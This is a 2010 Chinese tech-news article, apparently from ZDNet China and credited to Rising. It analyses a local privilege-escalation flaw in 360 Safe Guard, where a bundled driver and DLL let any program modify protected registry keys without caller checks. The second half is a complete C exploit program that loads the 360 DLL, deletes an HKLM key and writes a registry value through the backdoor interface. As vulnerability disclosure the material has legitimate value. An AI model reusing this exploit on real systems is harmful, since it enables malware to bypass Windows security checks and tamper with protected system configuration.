您的位置:首页 / 科技综合 /360

360本地提权后门漏洞详细分析报告、后门利用程序

ZDNetnews 更新时间:2010-02-02 10:43:17作者:瑞星

本文关键词: 360 | 本地提权漏洞 | 本地提权 | 后门程序 | 360安全卫士 |

360本地提权后门漏洞详细分析报告

360安全卫士全部版本会在安装过程中在用户系统上安装一个注册表操作后门程序,该后门可以绕过操作系统的安全检查机制任意操作(设置、删除等)用户的注册表。由于该程序没有对调用者进行检查,导致任意程序(如各种木马程序等)可以通过该后门任意操作(设置、删除等)用户的注册表系统。

该后门包括两个文件:

1. bregdrv.sys:内核模式驱动,该驱动程序通过调用操作系统的未公开CmXxx系列函数来操作注册表,另外由于操作系统内部本身维护了很多同步数据、缓存数据,直接调用CmXxx系列函数操作注册表极有可能造成系统内部数据不同步,严重影响系统安全性,甚至可能导致用户正常数据丢失;

2. bregdll.dll:用户态动态库,该动态库封装了对bregdrv.sys的调用,为用户态程序提供注册表操作后门的接口;

1、bregdrv.sys

处理 IoControl :

360本地提权后门漏洞详细分析报告、后门利用程序

通过CmDeleteKey实现注册表键值的删除操作:

 

360本地提权后门漏洞详细分析报告、后门利用程序

2、bregdll.dll

BRegDeleteKeyW函数中调用驱动的0x7be2058IoControl实现删除注册表键值操作:

360本地提权后门漏洞详细分析报告、后门利用程序

360本地提权后门漏洞详细分析报告、后门利用程序

后门利用程序

#include

typedef BOOL (WINAPI *INIT_REG_ENGINE)();
typedef LONG (WINAPI *BREG_DELETE_KEY)(HKEY hKey, LPCSTR lpSubKey);
typedef LONG (WINAPI *BREG_OPEN_KEY)(HKEY hKey, LPCSTR lpSubKey, PHKEY phkResult);
typedef LONG (WINAPI *BREG_CLOSE_KEY)(HKEY hKey);
typedef LONG (WINAPI *REG_SET_VALUE_EX)(HKEY hKey, LPCSTR lpValueName, DWORD Reserved, DWORD dwType, const BYTE* lpData, DWORD cbData);

BREG_DELETE_KEY BRegDeleteKey = NULL;
BREG_OPEN_KEY BRegOpenKey = NULL;
BREG_CLOSE_KEY BRegCloseKey = NULL;
REG_SET_VALUE_EX BRegSetValueEx = NULL;

#define AppPath   "SoftwareMicrosoftWindowsCurrentVersionApp Paths360safe.exe"

#define TestDeleteKey  HKEY_LOCAL_MACHINE
#define TestDeleteRegPath "Software360SafeUpdate"

#define TestSetKey  HKEY_LOCAL_MACHINE
#define TestSetPath  "Software360Safe"

BOOL InitBRegDll()
{
 LONG lResult;
 HKEY hKey;

 CHAR cPath[MAX_PATH + 32] = { 0 };
 DWORD dwPathLen = MAX_PATH;

 lResult = RegOpenKeyA(HKEY_LOCAL_MACHINE, AppPath, &hKey);
 if (FAILED(lResult))
  return FALSE;

 DWORD dwType = REG_SZ;
 lResult = RegQueryValueExA(hKey, "Path", NULL, &dwType, (LPBYTE)cPath, &dwPathLen);
 RegCloseKey(hKey);
 if (FAILED(lResult))
  return FALSE;

 strcat(cPath, "deepscanBREGDLL.dll");

 HMODULE modBReg = LoadLibraryA(cPath);
 if (!modBReg)
  return FALSE;

 INIT_REG_ENGINE InitRegEngine = (INIT_REG_ENGINE)GetProcAddress(modBReg, "InitRegEngine");
 BRegDeleteKey = (BREG_DELETE_KEY)GetProcAddress(modBReg, "BRegDeleteKey");
 BRegOpenKey = (BREG_OPEN_KEY)GetProcAddress(modBReg, "BRegOpenKey");
 BRegCloseKey = (BREG_CLOSE_KEY)GetProcAddress(modBReg, "BRegCloseKey");
 BRegSetValueEx = (REG_SET_VALUE_EX)GetProcAddress(modBReg, "BRegSetValueEx");

 if (!InitRegEngine || !BRegDeleteKey || !BRegOpenKey || !BRegCloseKey || !BRegSetValueEx) {
  FreeLibrary(modBReg);
  return FALSE;
 }

 if (!InitRegEngine()) {
  FreeLibrary(modBReg);
  return FALSE;
 }

 return TRUE;
}

LONG TestSetRegKey()
{
 HKEY hKey;
 LONG lResult;

 lResult = BRegOpenKey(TestSetKey, TestSetPath, &hKey);
 if (FAILED(lResult))
  return lResult;

 DWORD dwType = REG_SZ;
 static char szData[] = "TEST VALUE";
 lResult = BRegSetValueEx(hKey, TestSetPath, NULL, dwType, (const BYTE *)&szData, (DWORD)sizeof(szData));
 BRegCloseKey(hKey);

 return lResult;
}

int main(int argc, char *argv[])
{
 if (!InitBRegDll()) {
  MessageBoxA(NULL, "初始化BReg失败!", "失败", MB_ICONSTOP);
  return 1;
 }

 if (FAILED(BRegDeleteKey(TestDeleteKey, TestDeleteRegPath))) {
  MessageBoxA(NULL, "键值删除失败!", "失败", MB_ICONSTOP);
  return 2;
 }

 if (FAILED(TestSetRegKey())) {
  MessageBoxA(NULL, "设置键值失败!", "失败", MB_ICONSTOP);
  return 3;
 }

 MessageBoxA(NULL, "突破系统安全检查,获得最高权限,漏洞利用成功!", "成功", MB_OK);
 return 0;
}

    

好看好玩

用户评论

用户评论

  • 用户名
  • 评论内容

CNET Networks
Copyright ? 1997- CNET Networks 版权所有。 ZDNet 是CNET Networks公司注册服务商标。
京ICP证150369648号 京ICP备15039648号-2
京公网安备 11010802021500号